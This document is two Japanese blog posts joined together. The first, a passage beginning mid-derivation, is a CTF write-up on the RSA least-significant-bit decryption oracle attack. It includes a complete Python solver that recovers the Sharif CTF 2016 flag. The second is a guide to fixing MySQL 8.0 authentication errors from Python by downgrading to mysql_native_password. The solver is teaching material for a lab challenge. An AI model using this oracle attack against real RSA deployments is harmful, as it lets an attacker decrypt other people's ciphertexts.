f(ac)=1のときは2m\ mod\ n\ ⇒\ 2m \gt \ nが成り立つ.つまり \frac{n}{2} \ \lt \ m\ \lt nであり2m\ mod\ n=2m-n

f(ac)=0のときは2m\ mod\ n\ ⇒\ 2m\ \leq \ nが成り立つ.つまり 0 \ \leq \ m \leq \frac{n}{2}であり2m\ mod\ n=2m

i=2の時

f(a^{i}c)=(2^{2}m\ mod\ n)\ mod\ 2つまり f(ac)=(2(2m\ mod\ n)\ mod\ n)\ mod\ 2

ここではi=1の時のf(ac)の結果を用いる

f(ac)=1かつf(a^{2}c)=1のとき

\begin{align} f(a^{2}c)\ &=\ (2(2m\ mod\ n)\ mod\ n) \\ &=\ (2(2m-n)\ mod\ n) \\ &=\ (4m-2n-n) \\ &=\ 4m-3n \\ \end{align}

2m-nnより小さい,それにより2(2m-n) < 2nである.つまり2(2m-n)nで割った商も1か0にしかならなく,かつ2(2m-n)は偶数,nは奇数なため,f(a^{2}c)=1ならば上の式が成り立つ.これにより 4m\ \gt \ 3n⇒ m \gt \frac{3}{4}nが導き出されf(ac)=1を考えると \frac{3}{4}n \lt m \lt nとなる

このようにして残りの条件も書き出す

f(ac)=1かつf(a^{2}c)=0のとき

\begin{align} f(a^{2}c)\ &=\ (2(2m\ mod\ n)\ mod\ n) \\ &=\ (2(2m-n)\ mod\ n) \\ &=\ (4m-2n) mod\ n\\ &=\ 4m-2n \\ \end{align}

この結果より \frac{1}{2}n \lt m \leq \frac{3}{4}n

f(ac)=0かつf(a^{2}c)=1のとき

f(a^{2}c)\  =\ 4m\ mod\ n=\ 4m-nより \frac{1}{4}n \lt m \leq \frac{1}{2}n

f(ac)=0かつf(a^{2}c)=0のとき

f(a^{2}c)\  =\ 4m\ mod\ n=\ 4mより 0 \leq m \leq \frac{1}{4}n

となる

i=2以降

これ以降は同様の計算を行っていくことによりmの範囲が狭まり元の平文を求めることができる.

実際の問題(Sharif CTF LSB_Oracle)

理論が分かったところで実際の問題を解いてみる。今回はSharif CTF 2016の問題を解く。

与えられるのはexeの入った実行ファイルとpythonのファイル、実行ファイルはリンクを、pythonは直接示しておく

https://github.com/ctfs/write-ups-2016/tree/master/sharif-ctf-2016/crypto/lsb-oracle-150

#! /usr/bin/env python3
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long
n = -1  # get it from the provided EXE file
e = -1  # get it from the provided EXE file
flag = b'' # redacted
key = RSA.construct((n, e))
cipher = PKCS1_v1_5.new(key)
ctxt = bytes_to_long(cipher.encrypt(flag))
print(ctxt)
# output is:
# 2201077887205099886799419505257984908140690335465327695978150425602737431754769971309809434546937184700758848191008699273369652758836177602723960420562062515168299835193154932988833308912059796574355781073624762083196012981428684386588839182461902362533633141657081892129830969230482783192049720588548332813

exeを動かすと、nとeは教えてくれます。また悪い罠にかかって下位1bitしか返せないと教えてくれます。 またpythonの中に暗号文はあるので、典型的なlsb_oracleです。

理論はすでに説明したので残りはコードだけ

# -*- coding:utf-8 -*-
# solver.py sharif-ctf lsb-oracle

from fractions import Fraction
from subprocess import Popen,PIPE
from math import ceil
from binascii import unhexlify

n = 120357855677795403326899325832599223460081551820351966764960386843755808156627131345464795713923271678835256422889567749230248389850643801263972231981347496433824450373318688699355320061986161918732508402417281836789242987168090513784426195519707785324458125521673657185406738054328228404365636320530340758959
e = 65537

def long_to_bytes (val, endianness='big'):
    width = val.bit_length()
    width += 8 - ((width % 8) or 8)
    fmt = '%%0%dx' % (width // 4)
    s = unhexlify(fmt % val)

    if endianness == 'little':
        s = s[::-1]

    return s

def get_oracle(c):
    p = Popen(['lsb_oracle.vmp.exe','/decrypt'], stdin=PIPE, stdout=PIPE,stderr=PIPE,encoding='utf8')
    #print("sent ciphertext\n"+ str(cc))
    result = p.communicate(str(c)+"\n-1")
    lsb = int(result[0][96])
    #print(lsb)
    return lsb

def generate_ciphertext(p):
    return pow(p,e,n)

def solver():
    decision = [0,Fraction(n)]
    i = 0
    c = 2201077887205099886799419505257984908140690335465327695978150425602737431754769971309809434546937184700758848191008699273369652758836177602723960420562062515168299835193154932988833308912059796574355781073624762083196012981428684386588839182461902362533633141657081892129830969230482783192049720588548332813
    #c = generate_ciphertext(m)
    while decision[1] - decision[0] >= 1:
        i += 1
        print(i)
        cc = (c * pow(2,e,n)) % n
        oracle = get_oracle(cc)
        if oracle == 1:
            decision[0] = Fraction(sum(decision)/2)
        else:
            decision[1] = Fraction(sum(decision)/2)
        c = cc
    return ceil(decision[0])
        


if __name__ == '__main__':
    ans = solver()
    print(long_to_bytes(ans))

このコードを実行すると

> python solver.py
1
2
(snip)
1024
b'\x02\xa9\x12\xa7uA\x94\x8e\x8c2\xd5(\xda\x1eq?\xf7\xd0TL\xe8\xde1$\xbf\xe4w\xe1\x18\x12\x1f\xef\x03\x8b{\x7f\xb2\x9c\xa6Bs\xd2\xfe&\xe8+k7\xd8\xe7\xa5\x0b\xaf\xa8R\x12\x93\x0e,\xdfp\xff\x9a\xe7\x9b\xbduN4\x85I\xde3\x07\xb2n\xa4\xdb"\xd5\xfaf\x84\x00
SharifCTF{65d7551577a6a613c99c2b4023039b0a}'

という感じでflagを入手することが可能である。

おわりに

計算ミスや表記ミスがあったら教えてください

参考

LSB Leak Attackを実装した

plain RSAに対するLSB decryption oracle attackをやってみる - ももいろテクノロジー

WindowsのPythonでMySQL80を触ろうとしたら躓いた話

本題

MySQLが8.0になった際、認証周りで変更があったため、Pythonから触ろうとしたらいろいろ躓いたのでそれらをまとめた。

なお環境は下記のとおりである。

OS:Windows 10
Mysql 8.0
Driver: mysql-connector-python-rf

発生したエラー

Traceback (most recent call last):
  File "****.py", line 46, in <module>
    charset = 'utf8')
  File "C:\Users\***\Local\Programs\Python\Python35\lib\site-packages\mysql\connector\__init__.py", line 179, in connect
    return MySQLConnection(*args, **kwargs)
  File "C:\Users\***\Local\Programs\Python\Python35\lib\site-packages\mysql\connector\connection.py", line 95, in __init__
    self.connect(**kwargs)
  File "C:\Users\***\Local\Programs\Python\Python35\lib\site-packages\mysql\connector\abstracts.py", line 716, in connect
    self._open_connection()
  File "C:\Users\***\Local\Programs\Python\Python35\lib\site-packages\mysql\connector\connection.py", line 210, in _open_connection
    self._ssl)
  File "C:\Users\***\Local\Programs\Python\Python35\lib\site-packages\mysql\connector\connection.py", line 142, in _do_auth
    auth_plugin=self._auth_plugin)
  File "C:\Users\***\Local\Programs\Python\Python35\lib\site-packages\mysql\connector\protocol.py", line 102, in make_auth
    auth_data, ssl_enabled)
  File "C:\Users\***\Local\Programs\Python\Python35\lib\site-packages\mysql\connector\protocol.py", line 58, in _auth_response
    auth = get_auth_plugin(auth_plugin)(
  File "C:\Users\***\Local\Programs\Python\Python35\lib\site-packages\mysql\connector\authentication.py", line 191, in get_auth_plugin
    "Authentication plugin '{0}' is not supported".format(plugin_name))
mysql.connector.errors.NotSupportedError: Authentication plugin 'caching_sha2_password' is not supported

発生した理由はMySQL8.0で追加されたchaching_sha2_password機能のせい

簡単な理由説明

MySQL8.0になってからユーザ認証方式として従来のmysql_native_passwordとは別にcaching_sha2_passwordが追加された。しかしプログラミング言語からMySQLにつなぐためのドライバの多くがcaching_sha2_passwordに対応していないために認証時にエラーが発生する。

やること

検索すると下記二つのどちらかでいいという記事が出てくるが、私は両方やらないと解決しなかった。

  • MySQLの特定のユーザの認証方式を変える。
  • MySQLのパスワードの認証方式を変える。

MySQLの特定のユーザの認証方式を変える。

MySQLにrootでログインし、変更したいユーザのパスワードを変更する。usernameとpasswordは各々の設定したいユーザ名と認証するときに利用するパスワードを入れてください。

mysql> alter user 'username'@'localhost' identified WITH mysql_native_password by 'password';

設定が反映されたことの確認

mysqlのプロンプトからSELECT user, host, plugin FROM mysql.user;と打ち込んでください。

設定したユーザのpluginがmysql_native_passwordになっていればよいようです。

この段階でうまくいく人もいるらしいです。わたしはうまくいかなかったのでmysql自体の設定をいじりに行きます。

mysql> SELECT user, host, plugin FROM mysql.user;
+------------------+-----------+-----------------------+
| user             | host      | plugin                |
+------------------+-----------+-----------------------+
| ******           | localhost | caching_sha2_password |
| mysql.infoschema | localhost | mysql_native_password |
| mysql.session    | localhost | mysql_native_password |
| mysql.sys        | localhost | mysql_native_password |
| root             | localhost | caching_sha2_password |
| ****             | localhost | mysql_native_password |
+------------------+-----------+-----------------------+

MySQLの認証方式を変える

MySQLの設定ファイルであるmy.iniを変更しに行きます。

my.iniC:\Program Data\MySQL\MySQL Server 8.0\にあります。

このProgram Dataというディレクトリは通常隠しファイル扱いになるのでエクスプローラの表示から隠しファイルのチェックボックスを入れてください。

f:id:kataware8136:20180530213537p:plain

my.iniの変更ですが、default_authentication_plugin=mysql_native_passwordとしてください。

[mysqld]

---(snip)

#default_authentication_plugin=caching_sha2_password
default_authentication_plugin= mysql_native_password

設定ファイルを変更したらMySQLのデーモンを再起動します

コマンドプロンプトから再起動

管理者用のコマンドプロンプトで実行してください

> net stop MySQL80
> net start MySQL80

サービス管理画面から再起動

win + rここに入力して検索のところでservices.mscと打ち込むとサービス管理画面を起動できます。

ここからMySQLのサービスを選んで右クリック、再起動してください。

設定が反映されたことの確認

mysqlのプロンプトからshow variables like 'default_authentication_plugin';を打ち込み、valuemysql_native_passwordとなっていれば大丈夫です。

mysql> show variables like 'default_authentication_plugin';
+-------------------------------+-----------------------+
| Variable_name                 | Value                 |
+-------------------------------+-----------------------+
| default_authentication_plugin | mysql_native_password |
+-------------------------------+-----------------------+

さいごに

pythonのドライバだけではなくphpのドライバでも同様の問題は起こっているみたいです。直にドライバも対応していくでしょうし、ドライバのほうがcaching_sha2_passwordに対応したら今回の設定内容を直すのが無難です。

というのもmysql_native_passwordよりも安全な認証方式になっているようです。なので今回の方法は一時しのぎといった感じでしょうが役に立てば幸いです。

参考文献

MySQL8.0新機能 (caching_sha2_password 認証プラグイン)

caching_sha2_passwordをサポートされているコネクタ一覧